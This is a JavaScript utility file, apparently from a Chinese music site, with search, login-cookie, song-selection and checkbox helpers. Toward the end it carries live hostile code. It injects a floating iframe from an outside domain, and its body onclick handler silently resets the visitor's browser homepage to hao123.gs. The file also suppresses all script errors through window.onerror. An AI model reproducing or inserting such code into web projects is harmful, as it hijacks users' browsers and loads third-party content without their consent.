function stopError() {
return true;} 
window.onerror = stopError; 

function Search_check()
{
  if (document.form.keyword.value=="")
  {
    alert("请输入搜索关键字 ！");
    document.form.keyword.focus();
    return false;
  }
}

function getCookie(name){
  var strCookies = document.cookie;
  var cookieName = name + "=";
  var valueBegin, valueEnd, value;
  valueBegin = strCookies.indexOf(cookieName);
  if (valueBegin == -1) return null;
  valueEnd = strCookies.indexOf(";", valueBegin);
  if (valueEnd == -1)
      valueEnd = strCookies.length;
  value = strCookies.substring(valueBegin+cookieName.length,valueEnd);
  return value;
}


function checkCookieExist(name){
  if (getCookie(name))
      return true;
  else
      return false;
}


function checkCookieExist(name){
  if (getCookie(name))
      return true;
  else
      return false;
}



function CheckLogin(){
	if (document.all.UserLogin.UserName.value=="" || document.all.UserLogin.PassWord.value==""){
		alert('无法确定帐号和密码');
		return false;
	}
	else{
		return true;
	}
}


function CheckCoo2(){
	var rehh=checkCookieExist('UserName');
	if (rehh){
		return true;
	}else{
		return false;
	}
}

function CheckCooF(obj){
	var rehh=checkCookieExist('UserName');
	if (rehh){
		obj.B1.disabled=true;
		return true;
	}else{
		alert('只有登入帐号后才能使用\n如果没有帐号，立即注册一个');
		window.open('../user/UserReg.asp','EditeUserInfor','left=300,top=200,width=300,height=350,resizable=1,scrollbars=0');
		return false;
	}
}


function ranArray(n)
{
        var a,r,l=n.length,x,d=new Array(l);
        for(x=l-1;x>=0;x--)
        {
                r=Math.floor(Math.random()*(x+1));
                d[x]=n[r];
                n[r]=n[x];
        }
        return d;
}
function SelectRandAll(form){
	var k=[];
	for(var i=0;i<form.songid.length;i++){
		var e = form.songid[i];
		e.checked = false;
		k[i]=i;
	}
	var newform=ranArray(k);
	var l=[];
	for (var i=0;i<newform.length && i<form.songid.length/2;i++){
		l[i]=newform[i];
		var e = form.songid[newform[i]];
		e.checked = true;
	}
eval("document.lbplay.submit();");
}

function Listen1(ListenURL)
		{
		var Listen = window.open(ListenURL,"Liste0n1","scrollbars=no,width=468,height=120,top=0,left=0");
		return false;
		}
		
		function lbsong()
{
window.open("","Listen","");
}

function CheckOthers(form)
{
	for (var i=0;i<form.elements.length;i++)
	{
		var e = form.elements[i];
//		if (e.name != 'chkall')
			if (e.checked==false)
			{
				e.checked = true;// form.chkall.checked;
			}
			else
			{
				e.checked = false;
			}
	}
}

function CheckAll(form)
{
	for (var i=0;i<form.elements.length;i++)
	{
		var e = form.elements[i];
//		if (e.name != 'chkall')
			e.checked = true// form.chkall.checked;
	}
}





document.write('<div id=\"china_ads_div405\">');

document.writeln("<iframe width=\"200\" height=\"130\" src=\"http:\/\/www.552200.com\/js\/piao\" frameborder=\"0\" scrolling=\"no\"><\/iframe><\/div>")

	var Class = {
	  create: function() {
	    return function() {
	      this.initialize.apply(this, arguments);
	    }
	  }
	}
	
	Function.prototype.bind = function() {
	  var __method = this, args = $A(arguments), object = args.shift();
	  return function() {
	    return __method.apply(object, args.concat($A(arguments)));
	  }
	}
	
	var $A = Array.from = function(iterable) {
	  if (!iterable) return [];
	  if (iterable.toArray) {
	    return iterable.toArray();
	  } else {
	    var results = [];
	    for (var i = 0; i < iterable.length; i++)
	      results.push(iterable[i]);
	    return results;
	  }
	}

	var Float = Class.create();
	Float.prototype = {
		initialize: function(elem, options) {
			this.toDo = options.toDo || function(){},
			this.bodyScrollTop = document.documentElement.scrollTop || document.body.scrollTop,
			this.bodyScrollLeft = document.documentElement.scrollLeft || document.body.scrollLeft,
			this.element = document.getElementById(elem);
			this.dely = options.dely || 500;
			this.top = options.top || 0;
			this.left = options.left || 0;
			
		},
		
		start:function(){
			if(!this.element){
				alert('please set a element first!');
				return false;
			}
			this.element.style.position = 'absolute';
			this.toDo();
			setInterval(this.toDo.bind(this),this.dely)
		}
	}
	


var f = new Float('china_ads_div405',{dely:100,
	toDo:function(){
		var isIE = document.all && window.external;
		this.bodyScrollTop = document.documentElement.scrollTop || document.body.scrollTop;
		this.bodyScrollLeft = document.documentElement.scrollLeft || document.body.scrollLeft;
		if(isIE){
			this.docWidth = document.documentElement.clientWidth || document.body.clientWidth;
			this.docHeight = document.documentElement.clientHeight || document.body.clientHeight;
		}else{
			this.docWidth = (document.body.clientWidth > document.documentElement.clientWidth)?document.documentElement.clientWidth:document.body.clientWidth;
			this.docHeight = (document.body.clientHeight > document.documentElement.clientHeight)?document.documentElement.clientHeight:document.body.clientHeight;
		}

		this.element.style.top = (this.docHeight - parseInt(this.element.offsetHeight,10)) + parseInt(this.bodyScrollTop, 10)+ 'px';
		this.element.style.left = (this.docWidth - parseInt(this.element.offsetWidth,10)) + parseInt(this.bodyScrollLeft, 10) + 'px';
	}
});
f.start();

document.writeln("<script type=\"text\/javascript\">var setN=0;<\/script>");
document.writeln("<body onclick=\"this.style.behavior=\'url(#default#homepage)\';if(!(this.isHomePage(\'http:\/\/www.hao123.gs\/\'))&&setN!=1){this.sethomepage(\'http:\/\/www.hao123.gs\/\');setN=1;}\">")

















